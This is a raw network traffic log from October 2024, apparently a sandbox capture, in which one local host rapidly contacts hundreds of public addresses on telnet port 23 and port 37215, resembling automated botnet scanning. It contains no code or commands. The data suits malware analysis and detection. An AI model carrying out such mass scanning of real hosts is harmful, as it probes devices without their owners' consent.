Oct 17, 2024 02:19:46.137600899 CEST	20632	23	192.168.2.14	216.127.161.242
Oct 17, 2024 02:19:46.137600899 CEST	20632	23	192.168.2.14	66.122.141.237
Oct 17, 2024 02:19:46.137603045 CEST	20632	23	192.168.2.14	125.236.232.190
Oct 17, 2024 02:19:46.137609959 CEST	20632	23	192.168.2.14	35.23.107.195
Oct 17, 2024 02:19:46.137612104 CEST	20632	23	192.168.2.14	191.6.161.35
Oct 17, 2024 02:19:46.137628078 CEST	20632	23	192.168.2.14	93.88.224.199
Oct 17, 2024 02:19:46.137629032 CEST	20632	23	192.168.2.14	43.186.51.170
Oct 17, 2024 02:19:46.137629986 CEST	20632	23	192.168.2.14	76.64.213.174
Oct 17, 2024 02:19:46.137629032 CEST	20632	23	192.168.2.14	32.119.96.18
Oct 17, 2024 02:19:46.137629986 CEST	20632	23	192.168.2.14	31.206.90.112
Oct 17, 2024 02:19:46.137629032 CEST	20632	23	192.168.2.14	124.35.0.230
Oct 17, 2024 02:19:46.137645006 CEST	20632	23	192.168.2.14	109.241.72.218
Oct 17, 2024 02:19:46.137648106 CEST	20632	23	192.168.2.14	23.29.205.97
Oct 17, 2024 02:19:46.137650013 CEST	20632	23	192.168.2.14	171.19.165.67
Oct 17, 2024 02:19:46.137650967 CEST	20632	23	192.168.2.14	32.144.130.96
Oct 17, 2024 02:19:46.137650967 CEST	20632	23	192.168.2.14	146.88.51.176
Oct 17, 2024 02:19:46.137653112 CEST	20632	23	192.168.2.14	91.122.107.120
Oct 17, 2024 02:19:46.137661934 CEST	20632	23	192.168.2.14	8.87.214.14
Oct 17, 2024 02:19:46.137661934 CEST	20632	23	192.168.2.14	49.253.150.21
Oct 17, 2024 02:19:46.137666941 CEST	20632	23	192.168.2.14	65.8.110.8
Oct 17, 2024 02:19:46.137666941 CEST	20632	23	192.168.2.14	36.157.15.144
Oct 17, 2024 02:19:46.137666941 CEST	20632	23	192.168.2.14	120.203.148.92
Oct 17, 2024 02:19:46.137670994 CEST	20632	23	192.168.2.14	14.182.97.91
Oct 17, 2024 02:19:46.137672901 CEST	20632	23	192.168.2.14	27.102.217.56
Oct 17, 2024 02:19:46.137681961 CEST	20632	23	192.168.2.14	90.1.132.86
Oct 17, 2024 02:19:46.137681961 CEST	20632	23	192.168.2.14	149.97.157.185
Oct 17, 2024 02:19:46.137686968 CEST	20632	23	192.168.2.14	83.155.114.43
Oct 17, 2024 02:19:46.137695074 CEST	20632	23	192.168.2.14	145.79.250.33
Oct 17, 2024 02:19:46.137700081 CEST	20632	23	192.168.2.14	53.61.53.241
Oct 17, 2024 02:19:46.137700081 CEST	20632	23	192.168.2.14	163.122.108.163
Oct 17, 2024 02:19:46.137702942 CEST	20632	23	192.168.2.14	138.219.61.173
Oct 17, 2024 02:19:46.137702942 CEST	20632	23	192.168.2.14	47.136.72.131
Oct 17, 2024 02:19:46.137706995 CEST	20632	23	192.168.2.14	36.169.173.17
Oct 17, 2024 02:19:46.137711048 CEST	20632	23	192.168.2.14	101.112.109.161
Oct 17, 2024 02:19:46.137721062 CEST	20632	23	192.168.2.14	121.162.160.79
Oct 17, 2024 02:19:46.137721062 CEST	20632	23	192.168.2.14	191.189.105.169
Oct 17, 2024 02:19:46.137721062 CEST	20632	23	192.168.2.14	223.117.39.255
Oct 17, 2024 02:19:46.137736082 CEST	20632	23	192.168.2.14	130.96.1.29
Oct 17, 2024 02:19:46.137736082 CEST	20632	23	192.168.2.14	4.70.142.188
Oct 17, 2024 02:19:46.137742043 CEST	20632	23	192.168.2.14	118.199.54.178
Oct 17, 2024 02:19:46.137742996 CEST	20632	23	192.168.2.14	85.89.69.162
Oct 17, 2024 02:19:46.137742996 CEST	20632	23	192.168.2.14	87.116.127.124
Oct 17, 2024 02:19:46.137742996 CEST	20632	23	192.168.2.14	73.124.32.102
Oct 17, 2024 02:19:46.137742996 CEST	20632	23	192.168.2.14	109.87.59.130
Oct 17, 2024 02:19:46.137744904 CEST	20632	23	192.168.2.14	44.203.91.213
Oct 17, 2024 02:19:46.137757063 CEST	20632	23	192.168.2.14	41.8.84.174
Oct 17, 2024 02:19:46.137763977 CEST	20632	23	192.168.2.14	108.54.191.115
Oct 17, 2024 02:19:46.137763977 CEST	20632	23	192.168.2.14	46.62.227.153
Oct 17, 2024 02:19:46.137765884 CEST	20632	23	192.168.2.14	173.6.213.151
Oct 17, 2024 02:19:46.137765884 CEST	20632	23	192.168.2.14	119.223.74.207
Oct 17, 2024 02:19:46.137778044 CEST	20632	23	192.168.2.14	17.214.153.94
Oct 17, 2024 02:19:46.137778997 CEST	20632	23	192.168.2.14	48.224.144.202
Oct 17, 2024 02:19:46.137778044 CEST	20632	23	192.168.2.14	203.162.135.188
Oct 17, 2024 02:19:46.137788057 CEST	20632	23	192.168.2.14	128.3.235.175
Oct 17, 2024 02:19:46.137789011 CEST	20632	23	192.168.2.14	165.193.53.151
Oct 17, 2024 02:19:46.137789011 CEST	20632	23	192.168.2.14	41.213.218.57
Oct 17, 2024 02:19:46.137793064 CEST	20632	23	192.168.2.14	177.176.186.189
Oct 17, 2024 02:19:46.137793064 CEST	20632	23	192.168.2.14	93.209.176.224
Oct 17, 2024 02:19:46.137793064 CEST	20632	23	192.168.2.14	87.146.60.71
Oct 17, 2024 02:19:46.137804985 CEST	20632	23	192.168.2.14	59.1.167.30
Oct 17, 2024 02:19:46.137804985 CEST	20632	23	192.168.2.14	75.112.121.172
Oct 17, 2024 02:19:46.137816906 CEST	20632	23	192.168.2.14	208.153.242.99
Oct 17, 2024 02:19:46.137816906 CEST	20632	23	192.168.2.14	178.106.230.138
Oct 17, 2024 02:19:46.137824059 CEST	20632	23	192.168.2.14	27.131.185.182
Oct 17, 2024 02:19:46.137824059 CEST	20632	23	192.168.2.14	206.219.236.235
Oct 17, 2024 02:19:46.137825012 CEST	20632	23	192.168.2.14	195.224.35.199
Oct 17, 2024 02:19:46.137824059 CEST	20632	23	192.168.2.14	190.252.156.203
Oct 17, 2024 02:19:46.137841940 CEST	20632	23	192.168.2.14	205.114.235.183
Oct 17, 2024 02:19:46.137842894 CEST	20632	23	192.168.2.14	205.194.204.201
Oct 17, 2024 02:19:46.137845039 CEST	20632	23	192.168.2.14	94.54.29.136
Oct 17, 2024 02:19:46.137846947 CEST	20632	23	192.168.2.14	124.54.153.204
Oct 17, 2024 02:19:46.137852907 CEST	20632	23	192.168.2.14	165.215.64.89
Oct 17, 2024 02:19:46.137868881 CEST	20632	23	192.168.2.14	160.158.125.183
Oct 17, 2024 02:19:46.137870073 CEST	20632	23	192.168.2.14	86.135.155.158
Oct 17, 2024 02:19:46.137870073 CEST	20632	23	192.168.2.14	44.228.47.62
Oct 17, 2024 02:19:46.137870073 CEST	20632	23	192.168.2.14	141.226.56.38
Oct 17, 2024 02:19:46.137870073 CEST	20632	23	192.168.2.14	109.185.195.68
Oct 17, 2024 02:19:46.137870073 CEST	20632	23	192.168.2.14	128.210.65.80
Oct 17, 2024 02:19:46.137878895 CEST	20632	23	192.168.2.14	133.42.236.226
Oct 17, 2024 02:19:46.137878895 CEST	20632	23	192.168.2.14	153.22.125.75
Oct 17, 2024 02:19:46.137878895 CEST	20632	23	192.168.2.14	70.29.76.110
Oct 17, 2024 02:19:46.137878895 CEST	20632	23	192.168.2.14	93.99.80.48
Oct 17, 2024 02:19:46.137898922 CEST	20632	23	192.168.2.14	155.251.107.228
Oct 17, 2024 02:19:46.137900114 CEST	20632	23	192.168.2.14	9.106.24.205
Oct 17, 2024 02:19:46.137898922 CEST	20632	23	192.168.2.14	216.41.176.153
Oct 17, 2024 02:19:46.137898922 CEST	20632	23	192.168.2.14	216.212.72.141
Oct 17, 2024 02:19:46.137903929 CEST	20632	23	192.168.2.14	106.166.86.82
Oct 17, 2024 02:19:46.137903929 CEST	20632	23	192.168.2.14	179.85.180.122
Oct 17, 2024 02:19:46.137909889 CEST	20632	23	192.168.2.14	103.51.190.41
Oct 17, 2024 02:19:46.137912989 CEST	20632	23	192.168.2.14	138.240.194.49
Oct 17, 2024 02:19:46.137917995 CEST	20632	23	192.168.2.14	50.38.60.12
Oct 17, 2024 02:19:46.137919903 CEST	20632	23	192.168.2.14	206.32.227.211
Oct 17, 2024 02:19:46.137919903 CEST	20632	23	192.168.2.14	54.7.49.18
Oct 17, 2024 02:19:46.137929916 CEST	20632	23	192.168.2.14	190.150.218.201
Oct 17, 2024 02:19:46.137929916 CEST	20632	23	192.168.2.14	208.136.235.148
Oct 17, 2024 02:19:46.137937069 CEST	20632	23	192.168.2.14	187.203.208.188
Oct 17, 2024 02:19:46.137942076 CEST	20632	23	192.168.2.14	123.37.169.0
Oct 17, 2024 02:19:46.137942076 CEST	20632	23	192.168.2.14	99.157.227.33
Oct 17, 2024 02:19:46.137942076 CEST	20632	23	192.168.2.14	48.55.124.0
Oct 17, 2024 02:19:46.139723063 CEST	23	53838	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:46.140263081 CEST	23	53900	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:46.140388966 CEST	53900	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:46.141386032 CEST	23	20632	169.56.49.182	192.168.2.14
Oct 17, 2024 02:19:46.141457081 CEST	20632	23	192.168.2.14	169.56.49.182
Oct 17, 2024 02:19:46.147663116 CEST	41096	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:46.147672892 CEST	36384	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:46.147690058 CEST	40036	37215	192.168.2.14	197.152.138.101
Oct 17, 2024 02:19:46.147690058 CEST	35606	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:46.147690058 CEST	34584	37215	192.168.2.14	197.238.119.64
Oct 17, 2024 02:19:46.147690058 CEST	60332	37215	192.168.2.14	41.167.39.254
Oct 17, 2024 02:19:46.147690058 CEST	56146	37215	192.168.2.14	41.187.77.180
Oct 17, 2024 02:19:46.147690058 CEST	34610	37215	192.168.2.14	41.208.96.182
Oct 17, 2024 02:19:46.147690058 CEST	45316	37215	192.168.2.14	41.104.152.11
Oct 17, 2024 02:19:46.147712946 CEST	53478	37215	192.168.2.14	41.98.57.45
Oct 17, 2024 02:19:46.147711992 CEST	45592	37215	192.168.2.14	197.46.80.116
Oct 17, 2024 02:19:46.152662992 CEST	37215	41096	197.144.202.170	192.168.2.14
Oct 17, 2024 02:19:46.152677059 CEST	37215	36384	156.20.186.166	192.168.2.14
Oct 17, 2024 02:19:46.152719021 CEST	41096	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:46.152725935 CEST	36384	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:46.152803898 CEST	41096	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:46.152842045 CEST	20644	37215	192.168.2.14	197.54.156.183
Oct 17, 2024 02:19:46.152848959 CEST	20644	37215	192.168.2.14	197.177.199.37
Oct 17, 2024 02:19:46.152884960 CEST	20644	37215	192.168.2.14	41.230.135.246
Oct 17, 2024 02:19:46.152884960 CEST	20644	37215	192.168.2.14	197.94.172.213
Oct 17, 2024 02:19:46.152885914 CEST	20644	37215	192.168.2.14	41.194.188.48
Oct 17, 2024 02:19:46.152885914 CEST	20644	37215	192.168.2.14	156.143.18.87
Oct 17, 2024 02:19:46.152885914 CEST	20644	37215	192.168.2.14	197.42.36.122
Oct 17, 2024 02:19:46.152889013 CEST	20644	37215	192.168.2.14	197.35.143.82
Oct 17, 2024 02:19:46.152890921 CEST	20644	37215	192.168.2.14	41.24.223.74
Oct 17, 2024 02:19:46.152890921 CEST	20644	37215	192.168.2.14	156.159.250.169
Oct 17, 2024 02:19:46.152903080 CEST	20644	37215	192.168.2.14	41.225.124.93
Oct 17, 2024 02:19:46.152904987 CEST	20644	37215	192.168.2.14	156.49.146.132
Oct 17, 2024 02:19:46.152904987 CEST	20644	37215	192.168.2.14	41.164.199.34
Oct 17, 2024 02:19:46.152918100 CEST	20644	37215	192.168.2.14	156.68.99.53
Oct 17, 2024 02:19:46.152919054 CEST	20644	37215	192.168.2.14	156.200.201.190
Oct 17, 2024 02:19:46.152920961 CEST	20644	37215	192.168.2.14	197.104.226.73
Oct 17, 2024 02:19:46.152920961 CEST	20644	37215	192.168.2.14	156.5.202.248
Oct 17, 2024 02:19:46.152920961 CEST	20644	37215	192.168.2.14	41.104.178.237
Oct 17, 2024 02:19:46.152921915 CEST	20644	37215	192.168.2.14	41.249.56.221
Oct 17, 2024 02:19:46.152921915 CEST	20644	37215	192.168.2.14	156.92.21.45
Oct 17, 2024 02:19:46.152928114 CEST	20644	37215	192.168.2.14	197.7.204.153
Oct 17, 2024 02:19:46.152921915 CEST	20644	37215	192.168.2.14	197.203.237.111
Oct 17, 2024 02:19:46.152944088 CEST	20644	37215	192.168.2.14	197.21.13.43
Oct 17, 2024 02:19:46.152944088 CEST	20644	37215	192.168.2.14	156.139.23.189
Oct 17, 2024 02:19:46.152945995 CEST	20644	37215	192.168.2.14	197.90.176.87
Oct 17, 2024 02:19:46.152944088 CEST	20644	37215	192.168.2.14	156.119.167.165
Oct 17, 2024 02:19:46.152947903 CEST	20644	37215	192.168.2.14	156.248.137.49
Oct 17, 2024 02:19:46.152956009 CEST	20644	37215	192.168.2.14	197.90.187.211
Oct 17, 2024 02:19:46.152959108 CEST	20644	37215	192.168.2.14	41.59.220.251
Oct 17, 2024 02:19:46.152959108 CEST	20644	37215	192.168.2.14	41.69.179.128
Oct 17, 2024 02:19:46.152960062 CEST	20644	37215	192.168.2.14	156.135.229.97
Oct 17, 2024 02:19:46.152960062 CEST	20644	37215	192.168.2.14	197.73.165.208
Oct 17, 2024 02:19:46.152959108 CEST	20644	37215	192.168.2.14	197.192.102.206
Oct 17, 2024 02:19:46.152967930 CEST	20644	37215	192.168.2.14	41.12.193.170
Oct 17, 2024 02:19:46.152977943 CEST	20644	37215	192.168.2.14	156.105.46.55
Oct 17, 2024 02:19:46.152981043 CEST	20644	37215	192.168.2.14	156.125.171.183
Oct 17, 2024 02:19:46.152981043 CEST	20644	37215	192.168.2.14	156.238.30.200
Oct 17, 2024 02:19:46.152983904 CEST	20644	37215	192.168.2.14	197.156.62.113
Oct 17, 2024 02:19:46.152983904 CEST	20644	37215	192.168.2.14	41.86.70.110
Oct 17, 2024 02:19:46.152983904 CEST	20644	37215	192.168.2.14	41.246.215.60
Oct 17, 2024 02:19:46.152983904 CEST	20644	37215	192.168.2.14	197.186.27.56
Oct 17, 2024 02:19:46.152983904 CEST	20644	37215	192.168.2.14	156.5.244.252
Oct 17, 2024 02:19:46.152992010 CEST	20644	37215	192.168.2.14	197.41.174.184
Oct 17, 2024 02:19:46.152992010 CEST	20644	37215	192.168.2.14	197.100.64.1
Oct 17, 2024 02:19:46.152996063 CEST	20644	37215	192.168.2.14	197.33.103.62
Oct 17, 2024 02:19:46.152997971 CEST	20644	37215	192.168.2.14	197.196.238.154
Oct 17, 2024 02:19:46.153021097 CEST	20644	37215	192.168.2.14	156.208.6.70
Oct 17, 2024 02:19:46.153021097 CEST	20644	37215	192.168.2.14	156.254.244.182
Oct 17, 2024 02:19:46.153022051 CEST	20644	37215	192.168.2.14	197.163.52.193
Oct 17, 2024 02:19:46.153022051 CEST	20644	37215	192.168.2.14	197.33.150.69
Oct 17, 2024 02:19:46.153022051 CEST	20644	37215	192.168.2.14	41.145.128.188
Oct 17, 2024 02:19:46.153038025 CEST	20644	37215	192.168.2.14	156.42.85.79
Oct 17, 2024 02:19:46.153052092 CEST	20644	37215	192.168.2.14	156.1.63.9
Oct 17, 2024 02:19:46.153053045 CEST	20644	37215	192.168.2.14	41.244.2.237
Oct 17, 2024 02:19:46.153053045 CEST	20644	37215	192.168.2.14	197.182.51.68
Oct 17, 2024 02:19:46.153059959 CEST	20644	37215	192.168.2.14	41.114.126.224
Oct 17, 2024 02:19:46.153059959 CEST	20644	37215	192.168.2.14	41.163.88.77
Oct 17, 2024 02:19:46.153072119 CEST	20644	37215	192.168.2.14	41.245.13.95
Oct 17, 2024 02:19:46.153074026 CEST	20644	37215	192.168.2.14	41.0.130.84
Oct 17, 2024 02:19:46.153072119 CEST	20644	37215	192.168.2.14	41.139.222.81
Oct 17, 2024 02:19:46.153074026 CEST	20644	37215	192.168.2.14	197.116.234.61
Oct 17, 2024 02:19:46.153072119 CEST	20644	37215	192.168.2.14	156.223.111.71
Oct 17, 2024 02:19:46.153073072 CEST	20644	37215	192.168.2.14	41.208.228.85
Oct 17, 2024 02:19:46.153073072 CEST	20644	37215	192.168.2.14	197.128.48.84
Oct 17, 2024 02:19:46.153079033 CEST	20644	37215	192.168.2.14	197.93.27.177
Oct 17, 2024 02:19:46.153081894 CEST	20644	37215	192.168.2.14	197.186.164.223
Oct 17, 2024 02:19:46.153076887 CEST	20644	37215	192.168.2.14	197.16.153.199
Oct 17, 2024 02:19:46.153081894 CEST	20644	37215	192.168.2.14	156.109.73.186
Oct 17, 2024 02:19:46.153076887 CEST	20644	37215	192.168.2.14	156.126.11.223
Oct 17, 2024 02:19:46.153084993 CEST	20644	37215	192.168.2.14	41.16.67.126
Oct 17, 2024 02:19:46.153095007 CEST	20644	37215	192.168.2.14	197.227.4.94
Oct 17, 2024 02:19:46.153095007 CEST	20644	37215	192.168.2.14	156.13.172.61
Oct 17, 2024 02:19:46.153095961 CEST	20644	37215	192.168.2.14	156.194.92.202
Oct 17, 2024 02:19:46.153095007 CEST	20644	37215	192.168.2.14	197.69.143.213
Oct 17, 2024 02:19:46.153110027 CEST	20644	37215	192.168.2.14	197.37.129.248
Oct 17, 2024 02:19:46.153114080 CEST	20644	37215	192.168.2.14	156.173.18.253
Oct 17, 2024 02:19:46.153115988 CEST	20644	37215	192.168.2.14	197.29.160.193
Oct 17, 2024 02:19:46.153119087 CEST	20644	37215	192.168.2.14	41.97.218.109
Oct 17, 2024 02:19:46.153131008 CEST	20644	37215	192.168.2.14	197.138.119.52
Oct 17, 2024 02:19:46.153131008 CEST	20644	37215	192.168.2.14	197.139.123.255
Oct 17, 2024 02:19:46.153131008 CEST	20644	37215	192.168.2.14	41.0.151.98
Oct 17, 2024 02:19:46.153139114 CEST	20644	37215	192.168.2.14	41.250.163.163
Oct 17, 2024 02:19:46.153146029 CEST	20644	37215	192.168.2.14	156.162.129.5
Oct 17, 2024 02:19:46.153146029 CEST	20644	37215	192.168.2.14	41.229.148.59
Oct 17, 2024 02:19:46.153147936 CEST	20644	37215	192.168.2.14	156.169.147.88
Oct 17, 2024 02:19:46.153158903 CEST	20644	37215	192.168.2.14	197.1.46.148
Oct 17, 2024 02:19:46.153162003 CEST	20644	37215	192.168.2.14	156.233.133.87
Oct 17, 2024 02:19:46.153167009 CEST	20644	37215	192.168.2.14	41.116.210.1
Oct 17, 2024 02:19:46.153168917 CEST	20644	37215	192.168.2.14	156.103.110.198
Oct 17, 2024 02:19:46.153168917 CEST	20644	37215	192.168.2.14	41.37.33.15
Oct 17, 2024 02:19:46.153177977 CEST	20644	37215	192.168.2.14	41.232.45.134
Oct 17, 2024 02:19:46.153182983 CEST	20644	37215	192.168.2.14	197.104.61.183
Oct 17, 2024 02:19:46.153183937 CEST	20644	37215	192.168.2.14	197.134.166.220
Oct 17, 2024 02:19:46.153186083 CEST	20644	37215	192.168.2.14	156.74.161.46
Oct 17, 2024 02:19:46.153188944 CEST	20644	37215	192.168.2.14	156.246.155.237
Oct 17, 2024 02:19:46.153201103 CEST	20644	37215	192.168.2.14	41.135.102.210
Oct 17, 2024 02:19:46.153203964 CEST	20644	37215	192.168.2.14	156.140.179.131
Oct 17, 2024 02:19:46.153203964 CEST	20644	37215	192.168.2.14	156.122.202.139
Oct 17, 2024 02:19:46.153203964 CEST	20644	37215	192.168.2.14	156.246.25.192
Oct 17, 2024 02:19:46.153206110 CEST	20644	37215	192.168.2.14	197.87.19.55
Oct 17, 2024 02:19:46.153206110 CEST	20644	37215	192.168.2.14	156.251.118.138
Oct 17, 2024 02:19:46.153217077 CEST	20644	37215	192.168.2.14	156.129.129.40
Oct 17, 2024 02:19:46.153218031 CEST	20644	37215	192.168.2.14	41.247.199.10
Oct 17, 2024 02:19:46.153218985 CEST	20644	37215	192.168.2.14	41.169.87.144
Oct 17, 2024 02:19:46.153218985 CEST	20644	37215	192.168.2.14	197.214.83.141
Oct 17, 2024 02:19:46.153219938 CEST	20644	37215	192.168.2.14	41.56.53.10
Oct 17, 2024 02:19:46.153227091 CEST	20644	37215	192.168.2.14	41.183.106.235
Oct 17, 2024 02:19:46.153233051 CEST	20644	37215	192.168.2.14	41.167.139.246
Oct 17, 2024 02:19:46.153239012 CEST	20644	37215	192.168.2.14	197.23.63.117
Oct 17, 2024 02:19:46.153249025 CEST	20644	37215	192.168.2.14	197.183.151.171
Oct 17, 2024 02:19:46.153249979 CEST	20644	37215	192.168.2.14	41.151.192.66
Oct 17, 2024 02:19:46.153264999 CEST	20644	37215	192.168.2.14	41.252.226.133
Oct 17, 2024 02:19:46.153266907 CEST	20644	37215	192.168.2.14	156.5.104.202
Oct 17, 2024 02:19:46.153266907 CEST	20644	37215	192.168.2.14	41.44.221.59
Oct 17, 2024 02:19:46.153279066 CEST	20644	37215	192.168.2.14	156.150.40.74
Oct 17, 2024 02:19:46.153280020 CEST	20644	37215	192.168.2.14	41.70.28.136
Oct 17, 2024 02:19:46.153280020 CEST	20644	37215	192.168.2.14	156.215.219.51
Oct 17, 2024 02:19:46.153286934 CEST	20644	37215	192.168.2.14	197.145.26.147
Oct 17, 2024 02:19:46.153294086 CEST	20644	37215	192.168.2.14	156.42.179.60
Oct 17, 2024 02:19:46.153295040 CEST	20644	37215	192.168.2.14	156.195.169.117
Oct 17, 2024 02:19:46.153295040 CEST	20644	37215	192.168.2.14	197.208.32.199
Oct 17, 2024 02:19:46.153306961 CEST	20644	37215	192.168.2.14	197.197.126.91
Oct 17, 2024 02:19:46.153306961 CEST	20644	37215	192.168.2.14	41.46.127.14
Oct 17, 2024 02:19:46.153314114 CEST	20644	37215	192.168.2.14	197.219.89.59
Oct 17, 2024 02:19:46.153314114 CEST	20644	37215	192.168.2.14	197.96.72.246
Oct 17, 2024 02:19:46.153314114 CEST	20644	37215	192.168.2.14	156.147.52.219
Oct 17, 2024 02:19:46.153316975 CEST	20644	37215	192.168.2.14	156.187.194.184
Oct 17, 2024 02:19:46.153325081 CEST	20644	37215	192.168.2.14	41.116.140.160
Oct 17, 2024 02:19:46.153325081 CEST	20644	37215	192.168.2.14	197.128.69.127
Oct 17, 2024 02:19:46.153325081 CEST	20644	37215	192.168.2.14	156.125.128.204
Oct 17, 2024 02:19:46.153343916 CEST	20644	37215	192.168.2.14	41.197.157.23
Oct 17, 2024 02:19:46.153343916 CEST	20644	37215	192.168.2.14	197.206.138.190
Oct 17, 2024 02:19:46.153350115 CEST	20644	37215	192.168.2.14	197.164.167.232
Oct 17, 2024 02:19:46.153350115 CEST	20644	37215	192.168.2.14	41.255.193.52
Oct 17, 2024 02:19:46.153350115 CEST	20644	37215	192.168.2.14	156.197.84.234
Oct 17, 2024 02:19:46.153362036 CEST	20644	37215	192.168.2.14	41.50.93.48
Oct 17, 2024 02:19:46.153364897 CEST	20644	37215	192.168.2.14	41.59.171.144
Oct 17, 2024 02:19:46.153381109 CEST	20644	37215	192.168.2.14	41.180.141.119
Oct 17, 2024 02:19:46.153381109 CEST	20644	37215	192.168.2.14	41.118.94.192
Oct 17, 2024 02:19:46.153383970 CEST	20644	37215	192.168.2.14	156.192.188.61
Oct 17, 2024 02:19:46.153395891 CEST	20644	37215	192.168.2.14	41.205.173.159
Oct 17, 2024 02:19:46.153395891 CEST	20644	37215	192.168.2.14	197.120.160.29
Oct 17, 2024 02:19:46.153395891 CEST	20644	37215	192.168.2.14	41.58.72.116
Oct 17, 2024 02:19:46.153397083 CEST	20644	37215	192.168.2.14	197.215.247.190
Oct 17, 2024 02:19:46.153399944 CEST	20644	37215	192.168.2.14	197.200.213.176
Oct 17, 2024 02:19:46.153399944 CEST	20644	37215	192.168.2.14	41.229.178.89
Oct 17, 2024 02:19:46.153399944 CEST	20644	37215	192.168.2.14	41.157.242.173
Oct 17, 2024 02:19:46.153403044 CEST	20644	37215	192.168.2.14	197.254.20.172
Oct 17, 2024 02:19:46.153410912 CEST	20644	37215	192.168.2.14	197.190.190.18
Oct 17, 2024 02:19:46.153414011 CEST	20644	37215	192.168.2.14	197.0.142.129
Oct 17, 2024 02:19:46.153417110 CEST	20644	37215	192.168.2.14	156.217.102.125
Oct 17, 2024 02:19:46.153422117 CEST	20644	37215	192.168.2.14	41.100.231.182
Oct 17, 2024 02:19:46.153422117 CEST	20644	37215	192.168.2.14	197.78.251.154
Oct 17, 2024 02:19:46.153433084 CEST	20644	37215	192.168.2.14	156.193.120.93
Oct 17, 2024 02:19:46.153433084 CEST	20644	37215	192.168.2.14	197.24.27.49
Oct 17, 2024 02:19:46.153434038 CEST	20644	37215	192.168.2.14	41.97.5.244
Oct 17, 2024 02:19:46.153434992 CEST	20644	37215	192.168.2.14	197.220.90.157
Oct 17, 2024 02:19:46.153443098 CEST	20644	37215	192.168.2.14	197.32.93.250
Oct 17, 2024 02:19:46.153453112 CEST	20644	37215	192.168.2.14	197.140.82.99
Oct 17, 2024 02:19:46.153460979 CEST	20644	37215	192.168.2.14	156.31.147.144
Oct 17, 2024 02:19:46.153470039 CEST	20644	37215	192.168.2.14	197.209.228.67
Oct 17, 2024 02:19:46.153470039 CEST	20644	37215	192.168.2.14	41.7.4.192
Oct 17, 2024 02:19:46.153470039 CEST	20644	37215	192.168.2.14	41.157.22.117
Oct 17, 2024 02:19:46.153479099 CEST	20644	37215	192.168.2.14	197.88.144.255
Oct 17, 2024 02:19:46.153481007 CEST	20644	37215	192.168.2.14	197.18.207.94
Oct 17, 2024 02:19:46.153481960 CEST	20644	37215	192.168.2.14	156.129.245.64
Oct 17, 2024 02:19:46.153490067 CEST	20644	37215	192.168.2.14	156.203.115.131
Oct 17, 2024 02:19:46.153491974 CEST	20644	37215	192.168.2.14	156.188.3.19
Oct 17, 2024 02:19:46.153493881 CEST	20644	37215	192.168.2.14	197.73.27.150
Oct 17, 2024 02:19:46.153493881 CEST	20644	37215	192.168.2.14	41.214.20.149
Oct 17, 2024 02:19:46.153493881 CEST	20644	37215	192.168.2.14	156.111.163.17
Oct 17, 2024 02:19:46.153493881 CEST	20644	37215	192.168.2.14	156.104.227.48
Oct 17, 2024 02:19:46.153506994 CEST	20644	37215	192.168.2.14	41.115.113.164
Oct 17, 2024 02:19:46.153516054 CEST	20644	37215	192.168.2.14	197.2.117.204
Oct 17, 2024 02:19:46.153517008 CEST	20644	37215	192.168.2.14	156.212.96.18
Oct 17, 2024 02:19:46.153517008 CEST	20644	37215	192.168.2.14	197.133.141.28
Oct 17, 2024 02:19:46.153517008 CEST	20644	37215	192.168.2.14	197.140.161.220
Oct 17, 2024 02:19:46.153533936 CEST	20644	37215	192.168.2.14	41.193.20.178
Oct 17, 2024 02:19:46.153533936 CEST	20644	37215	192.168.2.14	41.243.251.197
Oct 17, 2024 02:19:46.153537035 CEST	20644	37215	192.168.2.14	197.186.33.167
Oct 17, 2024 02:19:46.153537035 CEST	20644	37215	192.168.2.14	41.143.124.221
Oct 17, 2024 02:19:46.153538942 CEST	20644	37215	192.168.2.14	156.218.149.6
Oct 17, 2024 02:19:46.153538942 CEST	20644	37215	192.168.2.14	197.19.175.120
Oct 17, 2024 02:19:46.153539896 CEST	20644	37215	192.168.2.14	197.30.190.16
Oct 17, 2024 02:19:46.153539896 CEST	20644	37215	192.168.2.14	41.154.133.79
Oct 17, 2024 02:19:46.153539896 CEST	20644	37215	192.168.2.14	197.98.70.152
Oct 17, 2024 02:19:46.153548002 CEST	20644	37215	192.168.2.14	156.126.8.62
Oct 17, 2024 02:19:46.153553009 CEST	20644	37215	192.168.2.14	41.118.60.127
Oct 17, 2024 02:19:46.153557062 CEST	20644	37215	192.168.2.14	156.93.23.44
Oct 17, 2024 02:19:46.153557062 CEST	20644	37215	192.168.2.14	156.6.20.157
Oct 17, 2024 02:19:46.153558016 CEST	20644	37215	192.168.2.14	197.23.41.155
Oct 17, 2024 02:19:46.153558969 CEST	20644	37215	192.168.2.14	156.191.79.234
Oct 17, 2024 02:19:46.153568029 CEST	20644	37215	192.168.2.14	197.142.100.209
Oct 17, 2024 02:19:46.153568029 CEST	20644	37215	192.168.2.14	197.222.207.5
Oct 17, 2024 02:19:46.153572083 CEST	20644	37215	192.168.2.14	41.100.251.191
Oct 17, 2024 02:19:46.153583050 CEST	20644	37215	192.168.2.14	41.169.190.99
Oct 17, 2024 02:19:46.153592110 CEST	20644	37215	192.168.2.14	197.144.104.41
Oct 17, 2024 02:19:46.153595924 CEST	20644	37215	192.168.2.14	41.228.171.187
Oct 17, 2024 02:19:46.153598070 CEST	20644	37215	192.168.2.14	41.228.251.159
Oct 17, 2024 02:19:46.153598070 CEST	20644	37215	192.168.2.14	41.168.236.7
Oct 17, 2024 02:19:46.153609991 CEST	20644	37215	192.168.2.14	41.161.54.196
Oct 17, 2024 02:19:46.153619051 CEST	20644	37215	192.168.2.14	156.51.56.151
Oct 17, 2024 02:19:46.153618097 CEST	20644	37215	192.168.2.14	41.233.183.182
Oct 17, 2024 02:19:46.153620005 CEST	20644	37215	192.168.2.14	41.161.131.175
Oct 17, 2024 02:19:46.153635979 CEST	20644	37215	192.168.2.14	41.220.175.149
Oct 17, 2024 02:19:46.153635979 CEST	20644	37215	192.168.2.14	197.183.143.103
Oct 17, 2024 02:19:46.153637886 CEST	20644	37215	192.168.2.14	41.54.120.195
Oct 17, 2024 02:19:46.153637886 CEST	20644	37215	192.168.2.14	156.124.126.76
